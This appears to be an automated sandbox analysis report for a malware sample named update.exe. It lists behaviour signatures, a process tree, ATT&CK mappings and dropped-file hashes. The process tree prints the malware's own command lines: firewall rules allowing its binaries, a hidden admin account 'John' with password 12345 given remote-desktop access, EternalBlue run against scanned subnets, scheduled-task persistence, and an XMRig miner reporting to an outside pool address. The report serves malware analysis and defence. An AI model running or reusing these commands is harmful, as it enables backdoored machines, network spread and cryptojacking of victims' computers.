Overview

overview

10

Static

static

7

update.exe

windows7-x64

10

update.exe

windows10-2004-x64

10

Resubmissions

28/11/2022, 09:53

221128-lwp4eaea3310

17/11/2022, 04:28

221117-e328zsdf6910

07/11/2022, 10:35

221107-mm272secgj10

Analysis

  • max time kernel
    403s
  • max time network
    428s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28/11/2022, 09:53

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    update.exe
  • Size 60.2MB
  • Sample221128-lwp4eaea33
  • SHA256 ca94c8bbbb10febb8187f8c709affaa91911f646cf0ac99e857bf45b3a709091
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
rmsxmrigdiscoveryevasionminerpersistenceratthemidatrojanupx

Malware Config

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs
    evasiontrojan
  • Modifies system executable filetype association 2 TTPs 7 IoCs
    persistence
  • Modifies visiblity of hidden/system files in Explorer 2 TTPs 1 IoCs
    evasion
  • RMS

    Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.

    trojanratrms
  • Suspicious use of NtCreateUserProcessOtherParentProcess 6 IoCs
  • UAC bypass 3 TTPs 2 IoCs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 7 IoCs
    evasion
  • XMRig Miner payload 11 IoCs
    miner
  • Blocks application from running via registry modification 27 IoCs

    Adds application to list of disallowed applications.

    evasion
  • Drops file in Drivers directory 2 IoCs
  • Executes dropped EXE 32 IoCs
  • Modifies Windows Firewall 1 TTPs 8 IoCs
    evasion
  • Registers COM server for autorun 1 TTPs 64 IoCs
    persistence
  • Registers new Print Monitor 2 TTPs 12 IoCs
    persistence
  • Sets DLL path for service in the registry 2 TTPs 1 IoCs
    persistence
  • Stops running service(s) 3 TTPs
    evasion
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Checks BIOS information in registry 2 TTPs 14 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 11 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 53 IoCs
  • Themida packer 46 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Adds Run key to start application 2 TTPs 8 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 8 IoCs
    evasiontrojan
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Modifies WinLogon 2 TTPs 4 IoCs
    persistence
  • AutoIT Executable 36 IoCs

    AutoIT scripts compiled to PE executables.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 7 IoCs
  • Drops file in Program Files directory 5 IoCs
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 24 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Modifies Internet Explorer settings 1 TTPs 10 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 18 IoCs
  • Modifies registry class 64 IoCs
  • NTFS ADS 4 IoCs
  • Runs net.exe
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 43 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 48 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 3 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\update.exe
    "C:\Users\Admin\AppData\Local\Temp\update.exe"
    1⤵
    • Modifies Windows Defender Real-time Protection settings
    • UAC bypass
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Blocks application from running via registry modification
    • Drops file in Drivers directory
    • Checks BIOS information in registry
    • Adds Run key to start application
    • Checks whether UAC is enabled
    • Modifies WinLogon
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • NTFS ADS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:5108
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc delete swprv
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4308
      • C:\Windows\system32\sc.exe
        sc delete swprv
        3⤵
        • Launches sc.exe
        PID:2120
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AppModule" dir=in action=allow program="C:\ProgramData\WindowsTask\AppModule.exe" enable=yes
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5104
      • C:\Windows\system32\netsh.exe
        netsh advfirewall firewall add rule name="AppModule" dir=in action=allow program="C:\ProgramData\WindowsTask\AppModule.exe" enable=yes
        3⤵
        • Modifies Windows Firewall
        PID:4124
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state on
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1828
      • C:\Windows\system32\netsh.exe
        netsh advfirewall set allprofiles state on
        3⤵
        • Modifies Windows Firewall
        PID:3512
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AMD" dir=in action=allow program="C:\ProgramData\WindowsTask\AMD.exe" enable=yes
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2692
      • C:\Windows\system32\netsh.exe
        netsh advfirewall firewall add rule name="AMD" dir=in action=allow program="C:\ProgramData\WindowsTask\AMD.exe" enable=yes
        3⤵
        • Modifies Windows Firewall
        PID:3944
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Blocking" protocol=TCP localport=445 action=block dir=IN
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2224
      • C:\Windows\system32\netsh.exe
        netsh advfirewall firewall add rule name="Port Blocking" protocol=TCP localport=445 action=block dir=IN
        3⤵
        • Modifies Windows Firewall
        PID:4940
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Blocking" protocol=UDP localport=445 action=block dir=IN
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:940
      • C:\Windows\system32\netsh.exe
        netsh advfirewall firewall add rule name="Port Blocking" protocol=UDP localport=445 action=block dir=IN
        3⤵
        • Modifies Windows Firewall
        PID:1984
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Block" protocol=TCP localport=139 action=block dir=IN
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1220
      • C:\Windows\system32\netsh.exe
        netsh advfirewall firewall add rule name="Port Block" protocol=TCP localport=139 action=block dir=IN
        3⤵
        • Modifies Windows Firewall
        PID:4692
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Block" protocol=UDP localport=139 action=block dir=IN
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2900
      • C:\Windows\system32\netsh.exe
        netsh advfirewall firewall add rule name="Port Block" protocol=UDP localport=139 action=block dir=IN
        3⤵
        • Modifies Windows Firewall
        PID:4276
    • C:\ProgramData\Setup\Game.exe
      C:\ProgramData\Setup\Game.exe -pnaxui
      2⤵
      • Executes dropped EXE
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:3364
      • C:\ProgramData\RealtekHD\GameGuard.exe
        "C:\ProgramData\RealtekHD\GameGuard.exe"
        3⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Executes dropped EXE
        • Checks BIOS information in registry
        • Checks whether UAC is enabled
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        PID:1548
      • C:\ProgramData\RealtekHD\taskhost.exe
        "C:\ProgramData\RealtekHD\taskhost.exe"
        3⤵
        • Modifies visiblity of hidden/system files in Explorer
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Executes dropped EXE
        • Checks BIOS information in registry
        • Adds Run key to start application
        • Checks whether UAC is enabled
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • NTFS ADS
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of WriteProcessMemory
        PID:2440
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ipconfig /flushdns
          4⤵
            PID:1444
            • C:\Windows\system32\ipconfig.exe
              ipconfig /flushdns
              5⤵
              • Gathers network information
              PID:4640
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c gpupdate /force
            4⤵
              PID:4652
              • C:\Windows\system32\gpupdate.exe
                gpupdate /force
                5⤵
                  PID:4316
              • C:\ProgramData\Setup\Packs.exe
                C:\ProgramData\Setup\Packs.exe -ppidar
                4⤵
                • Executes dropped EXE
                PID:4416
              • C:\ProgramData\RealtekHD\sc.exe
                C:\ProgramData\RealtekHD\sc.exe -pnaxui
                4⤵
                • Executes dropped EXE
                • Launches sc.exe
                PID:1160
              • C:\ProgramData\RealtekHD\start.exe
                C:\ProgramData\RealtekHD\start.exe
                4⤵
                • Executes dropped EXE
                PID:3428
                • C:\ProgramData\RealtekHD\rundll.exe
                  C:\ProgramData\RealtekHD\rundll.exe
                  5⤵
                  • Executes dropped EXE
                  PID:4684
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c "system.exe TCP 192.168.1.1 445 150 /save"
                    6⤵
                      PID:3048
                      • C:\ProgramData\RealtekHD\system.exe
                        system.exe TCP 192.168.1.1 445 150 /save
                        7⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:4484
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c "Eternalblue-2.2.0.exe --inconfig Eternalblue-2.2.0.xml --NetworkTimeout 60 --TargetIp Scan --TargetPort 445 --Target WIN72K8R2"
                      6⤵
                        PID:4924
                        • C:\ProgramData\RealtekHD\Eternalblue-2.2.0.exe
                          Eternalblue-2.2.0.exe --inconfig Eternalblue-2.2.0.xml --NetworkTimeout 60 --TargetIp Scan --TargetPort 445 --Target WIN72K8R2
                          7⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:4008
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c "system.exe TCP 10.127.0.109/16 445 150 /save"
                        6⤵
                          PID:4676
                          • C:\ProgramData\RealtekHD\system.exe
                            system.exe TCP 10.127.0.109/16 445 150 /save
                            7⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            PID:1060
                    • C:\ProgramData\WindowsTask\audiodg.exe
                      C:\ProgramData\WindowsTask\audiodg.exe
                      4⤵
                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                      • Executes dropped EXE
                      • Checks BIOS information in registry
                      • Checks whether UAC is enabled
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      PID:2452
                    • C:\ProgramData\WindowsTask\MicrosoftHost.exe
                      C:\ProgramData\WindowsTask\MicrosoftHost.exe -o stratum+tcp://185.139.69.167:3333 -u CPU --donate-level=1 -k -t1
                      4⤵
                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                      • Executes dropped EXE
                      • Checks BIOS information in registry
                      • Checks whether UAC is enabled
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2692
                    • C:\ProgramData\WindowsTask\MicrosoftHost.exe
                      C:\ProgramData\WindowsTask\MicrosoftHost.exe -o stratum+tcp://185.139.69.167:3333 -u CPU --donate-level=1 -k -t1
                      4⤵
                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                      • Executes dropped EXE
                      • Checks BIOS information in registry
                      • Checks whether UAC is enabled
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      PID:1704
                    • C:\ProgramData\WindowsTask\MicrosoftHost.exe
                      C:\ProgramData\WindowsTask\MicrosoftHost.exe -o stratum+tcp://185.139.69.167:3333 -u CPU --donate-level=1 -k -t1
                      4⤵
                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                      • Executes dropped EXE
                      • Checks BIOS information in registry
                      • Checks whether UAC is enabled
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      PID:1928
                • C:\ProgramData\Setup\svchost.exe
                  C:/ProgramData/Setup/svchost.exe -pnaxui
                  2⤵
                    PID:1016
                    • C:\ProgramData\Setup\IP.exe
                      "C:\ProgramData\Setup\IP.exe"
                      3⤵
                        PID:3096
                      • C:\ProgramData\Setup\smss.exe
                        "C:\ProgramData\Setup\smss.exe"
                        3⤵
                        • Executes dropped EXE
                        • Checks computer location settings
                        • Drops file in Program Files directory
                        • Checks processor information in registry
                        • Suspicious use of SetWindowsHookEx
                        • Suspicious use of WriteProcessMemory
                        PID:1660
                        • C:\Windows\System32\schtasks.exe
                          "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winsers" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC MINUTE /MO 1 /RL HIGHEST
                          4⤵
                          • Creates scheduled task(s)
                          PID:4004
                        • C:\Windows\System32\schtasks.exe
                          "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winser" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC ONLOGON /RL HIGHEST
                          4⤵
                          • Creates scheduled task(s)
                          PID:204
                        • C:\ProgramData\Windows Tasks Service\winserv.exe
                          "C:\ProgramData\Windows Tasks Service\winserv.exe"
                          4⤵
                          • Executes dropped EXE
                          • Checks computer location settings
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of SetWindowsHookEx
                          PID:3720
                          • C:\ProgramData\Windows Tasks Service\winserv.exe
                            "C:\ProgramData\Windows Tasks Service\winserv.exe" -second
                            5⤵
                            • Executes dropped EXE
                            • Suspicious use of AdjustPrivilegeToken
                            • Suspicious use of SetWindowsHookEx
                            PID:4208
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c net user John 12345 /add
                          4⤵
                            PID:1388
                            • C:\Windows\system32\net.exe
                              net user John 12345 /add
                              5⤵
                                PID:3628
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 user John 12345 /add
                                  6⤵
                                    PID:3016
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c net localgroup "Администраторы" John /add
                                4⤵
                                  PID:4320
                                  • C:\Windows\system32\net.exe
                                    net localgroup "Администраторы" John /add
                                    5⤵
                                      PID:8
                                      • C:\Windows\system32\net1.exe
                                        C:\Windows\system32\net1 localgroup "Администраторы" John /add
                                        6⤵
                                          PID:4716
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного рабочего стола" John /add
                                      4⤵
                                        PID:2280
                                        • C:\Windows\system32\net.exe
                                          net localgroup "Пользователи удаленного рабочего стола" John /add
                                          5⤵
                                            PID:3372
                                            • C:\Windows\system32\net1.exe
                                              C:\Windows\system32\net1 localgroup "Пользователи удаленного рабочего стола" John /add
                                              6⤵
                                                PID:1640
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного управления" john /add" John /add
                                            4⤵
                                            • Executes dropped EXE
                                            • Checks computer location settings
                                            • Suspicious use of WriteProcessMemory
                                            PID:1016
                                            • C:\Windows\system32\net.exe
                                              net localgroup "Пользователи удаленного управления" john /add" John /add
                                              5⤵
                                                PID:4984
                                                • C:\Windows\system32\net1.exe
                                                  C:\Windows\system32\net1 localgroup "Пользователи удаленного управления" john /add" John /add
                                                  6⤵
                                                    PID:4336
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c net localgroup "Administrators" John /add
                                                4⤵
                                                  PID:4936
                                                  • C:\Windows\system32\net.exe
                                                    net localgroup "Administrators" John /add
                                                    5⤵
                                                      PID:1708
                                                      • C:\Windows\system32\net1.exe
                                                        C:\Windows\system32\net1 localgroup "Administrators" John /add
                                                        6⤵
                                                          PID:1072
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c net localgroup "Administradores" John /add
                                                      4⤵
                                                        PID:5004
                                                        • C:\Windows\system32\net.exe
                                                          net localgroup "Administradores" John /add
                                                          5⤵
                                                            PID:4304
                                                            • C:\Windows\system32\net1.exe
                                                              C:\Windows\system32\net1 localgroup "Administradores" John /add
                                                              6⤵
                                                                PID:992
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" john /add
                                                            4⤵
                                                              PID:2760
                                                              • C:\Windows\system32\net.exe
                                                                net localgroup "Remote Desktop Users" john /add
                                                                5⤵
                                                                  PID:4836
                                                                  • C:\Windows\system32\net1.exe
                                                                    C:\Windows\system32\net1 localgroup "Remote Desktop Users" john /add
                                                                    6⤵
                                                                      PID:3304
                                                                • C:\ProgramData\RDPWinst.exe
                                                                  C:\ProgramData\RDPWinst.exe -i
                                                                  4⤵
                                                                  • Executes dropped EXE
                                                                  • Sets DLL path for service in the registry
                                                                  • Modifies WinLogon
                                                                  • Drops file in System32 directory
                                                                  • Drops file in Program Files directory
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  • Suspicious use of SetWindowsHookEx
                                                                  PID:3328
                                                                  • C:\Windows\SYSTEM32\netsh.exe
                                                                    netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
                                                                    5⤵
                                                                    • Modifies Windows Firewall
                                                                    PID:4812
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c C:\Programdata\Install\del.bat
                                                                  4⤵
                                                                    PID:1760
                                                                    • C:\Windows\system32\timeout.exe
                                                                      timeout 5
                                                                      5⤵
                                                                      • Delays execution with timeout.exe
                                                                      PID:992
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c C:\Programdata\Microsoft\temp\H.bat
                                                                2⤵
                                                                • Drops file in Drivers directory
                                                                PID:2676
                                                            • C:\Windows\system32\taskmgr.exe
                                                              "C:\Windows\system32\taskmgr.exe" /4
                                                              1⤵
                                                              • Checks SCSI registry key(s)
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              • Suspicious use of FindShellTrayWindow
                                                              • Suspicious use of SendNotifyMessage
                                                              PID:1712
                                                            • C:\Windows\System32\spoolsv.exe
                                                              C:\Windows\System32\spoolsv.exe
                                                              1⤵
                                                              • Registers new Print Monitor
                                                              • Checks SCSI registry key(s)
                                                              • Modifies data under HKEY_USERS
                                                              PID:4020
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
                                                              1⤵
                                                              • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              • Suspicious use of WriteProcessMemory
                                                              PID:5008
                                                            • C:\Windows\System32\rundll32.exe
                                                              C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                              1⤵
                                                                PID:2908
                                                              • C:\Windows\System32\svchost.exe
                                                                C:\Windows\System32\svchost.exe -k NetworkService -s TermService
                                                                1⤵
                                                                • Executes dropped EXE
                                                                • NTFS ADS
                                                                • Suspicious use of SetWindowsHookEx
                                                                PID:3096
                                                              • C:\Windows\System32\svchost.exe
                                                                C:\Windows\System32\svchost.exe -k NetworkService -s TermService
                                                                1⤵
                                                                • Loads dropped DLL
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:1832
                                                              • C:\ProgramData\Windows Tasks Service\winserv.exe
                                                                "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
                                                                1⤵
                                                                • Executes dropped EXE
                                                                • Checks computer location settings
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                • Suspicious use of SetWindowsHookEx
                                                                PID:1444
                                                                • C:\ProgramData\Windows Tasks Service\winserv.exe
                                                                  "C:\ProgramData\Windows Tasks Service\winserv.exe" -second
                                                                  2⤵
                                                                  • Executes dropped EXE
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  • Suspicious use of SetWindowsHookEx
                                                                  PID:3652
                                                              • C:\Windows\system32\taskmgr.exe
                                                                "C:\Windows\system32\taskmgr.exe" /4
                                                                1⤵
                                                                • Checks SCSI registry key(s)
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:960
                                                              • C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDrive.exe
                                                                "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDrive.exe"
                                                                1⤵
                                                                • Modifies system executable filetype association
                                                                • Registers COM server for autorun
                                                                • Checks processor information in registry
                                                                • Modifies Internet Explorer settings
                                                                • Modifies registry class
                                                                • Suspicious behavior: AddClipboardFormatListener
                                                                • Suspicious use of SetWindowsHookEx
                                                                PID:3372
                                                                • C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveSetup.exe
                                                                  "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveSetup.exe" /update /restart
                                                                  2⤵
                                                                  • Executes dropped EXE
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:4980
                                                                  • C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveSetup.exe
                                                                    C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveSetup.exe /update /restart /peruser /childprocess /extractFilesWithLessThreadCount /renameReplaceOneDriveExe /renameReplaceODSUExe /removeNonCurrentVersions /enableODSUReportingMode
                                                                    3⤵
                                                                    • Modifies system executable filetype association
                                                                    • Executes dropped EXE
                                                                    • Registers COM server for autorun
                                                                    • Checks computer location settings
                                                                    • Adds Run key to start application
                                                                    • Modifies Internet Explorer settings
                                                                    • Modifies registry class
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:2000
                                                                    • C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.220.1024.0005\FileSyncConfig.exe
                                                                      "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.220.1024.0005\FileSyncConfig.exe"
                                                                      4⤵
                                                                      • Executes dropped EXE
                                                                      • Registers COM server for autorun
                                                                      • Loads dropped DLL
                                                                      PID:1704
                                                                    • C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDrive.exe
                                                                      /updateInstalled /background
                                                                      4⤵
                                                                      • Modifies system executable filetype association
                                                                      • Executes dropped EXE
                                                                      • Registers COM server for autorun
                                                                      • Checks computer location settings
                                                                      • Loads dropped DLL
                                                                      • Modifies Internet Explorer settings
                                                                      • Modifies registry class
                                                                      • Suspicious behavior: AddClipboardFormatListener
                                                                      • Suspicious use of SetWindowsHookEx
                                                                      PID:4852
                                                              • C:\ProgramData\Windows Tasks Service\winserv.exe
                                                                "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
                                                                1⤵
                                                                • Executes dropped EXE
                                                                • Checks computer location settings
                                                                • Suspicious use of SetWindowsHookEx
                                                                PID:3544
                                                              • C:\Windows\system32\taskmgr.exe
                                                                "C:\Windows\system32\taskmgr.exe" /4
                                                                1⤵
                                                                • Checks SCSI registry key(s)
                                                                • Suspicious behavior: GetForegroundWindowSpam
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:4280
                                                              • C:\ProgramData\Windows Tasks Service\winserv.exe
                                                                "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
                                                                1⤵
                                                                • Executes dropped EXE
                                                                • Checks computer location settings
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                • Suspicious use of SetWindowsHookEx
                                                                PID:6132
                                                                • C:\ProgramData\Windows Tasks Service\winserv.exe
                                                                  "C:\ProgramData\Windows Tasks Service\winserv.exe" -second
                                                                  2⤵
                                                                  • Executes dropped EXE
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  • Suspicious use of SetWindowsHookEx
                                                                  PID:6100
                                                              • C:\ProgramData\Windows Tasks Service\winserv.exe
                                                                "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
                                                                1⤵
                                                                • Executes dropped EXE
                                                                • Checks computer location settings
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                • Suspicious use of SetWindowsHookEx
                                                                PID:5296
                                                                • C:\ProgramData\Windows Tasks Service\winserv.exe
                                                                  "C:\ProgramData\Windows Tasks Service\winserv.exe" -second
                                                                  2⤵
                                                                  • Executes dropped EXE
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  • Suspicious use of SetWindowsHookEx
                                                                  PID:5648
                                                              • C:\Windows\system32\taskmgr.exe
                                                                "C:\Windows\system32\taskmgr.exe" /4
                                                                1⤵
                                                                • Checks SCSI registry key(s)
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:4228
                                                              • C:\ProgramData\Windows Tasks Service\winserv.exe
                                                                "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
                                                                1⤵
                                                                • Executes dropped EXE
                                                                • Checks computer location settings
                                                                • Suspicious use of SetWindowsHookEx
                                                                PID:5316

                                                              Network

                                                                    MITRE ATT&CK Enterprise v6

                                                                    Initial Access

                                                                    Execution

                                                                    Command-Line Interface

                                                                    1
                                                                    T1059

                                                                    Scheduled Task

                                                                    1
                                                                    T1053

                                                                    Persistence

                                                                    Account Manipulation

                                                                    1
                                                                    T1098

                                                                    Change Default File Association

                                                                    1
                                                                    T1042

                                                                    Hidden Files and Directories

                                                                    1
                                                                    T1158

                                                                    Modify Existing Service

                                                                    3
                                                                    T1031

                                                                    Registry Run Keys / Startup Folder

                                                                    4
                                                                    T1060

                                                                    Scheduled Task

                                                                    1
                                                                    T1053

                                                                    Winlogon Helper DLL

                                                                    1
                                                                    T1004

                                                                    Privilege Escalation

                                                                    Bypass User Account Control

                                                                    1
                                                                    T1088

                                                                    Scheduled Task

                                                                    1
                                                                    T1053

                                                                    Defense Evasion

                                                                    Bypass User Account Control

                                                                    1
                                                                    T1088

                                                                    Disabling Security Tools

                                                                    2
                                                                    T1089

                                                                    Hidden Files and Directories

                                                                    1
                                                                    T1158

                                                                    Impair Defenses

                                                                    1
                                                                    T1562

                                                                    Modify Registry

                                                                    10
                                                                    T1112

                                                                    Virtualization/Sandbox Evasion

                                                                    1
                                                                    T1497

                                                                    Web Service

                                                                    1
                                                                    T1102

                                                                    Credential Access

                                                                    Account Manipulation

                                                                    1
                                                                    T1098

                                                                    Discovery

                                                                    Network Service Scanning

                                                                    1
                                                                    T1046

                                                                    Peripheral Device Discovery

                                                                    1
                                                                    T1120

                                                                    Query Registry

                                                                    6
                                                                    T1012

                                                                    System Information Discovery

                                                                    7
                                                                    T1082

                                                                    Virtualization/Sandbox Evasion

                                                                    1
                                                                    T1497

                                                                    Lateral Movement

                                                                    Collection

                                                                    Command and Control

                                                                    Web Service

                                                                    1
                                                                    T1102

                                                                    Exfiltration

                                                                    Impact

                                                                    Service Stop

                                                                    1
                                                                    T1489

                                                                    Replay Monitor

                                                                    Loading Replay Monitor...

                                                                    Downloads

                                                                    rdpwrap.dll
                                                                    • Path C:\Program Files\RDP Wrapper\rdpwrap.dll
                                                                    • Size 114KB
                                                                    • SHA256 798af20db39280f90a1d35f2ac2c1d62124d1f5218a2a0fa29d87a13340bd3e4
                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                    Submit Download

                                                                    RDPWinst.exe
                                                                    • Path C:\ProgramData\RDPWinst.exe
                                                                    • Size 1.4MB
                                                                    • SHA256 ac92d4c6397eb4451095949ac485ef4ec38501d7bb6f475419529ae67e297753
                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                    Submit Download

                                                                    2x64.dll
                                                                    • Path C:\ProgramData\RealtekHD\2x64.dll
                                                                    • Size 100KB
                                                                    • SHA256 ce7cac2e223db3b6d1769b349c3e3a3cb83310a5776e7da471a603e287ca9510
                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                    Submit Download

                                                                    2x86.dll
                                                                    • Path C:\ProgramData\RealtekHD\2x86.dll
                                                                    • Size 83KB
                                                                    • SHA256 782bf3ec8c00a97163b2fe29594a5134849e1d30527fde599ee87032567c49f7
                                                                    • MD5 SHA1 SHA512 SSDEEP
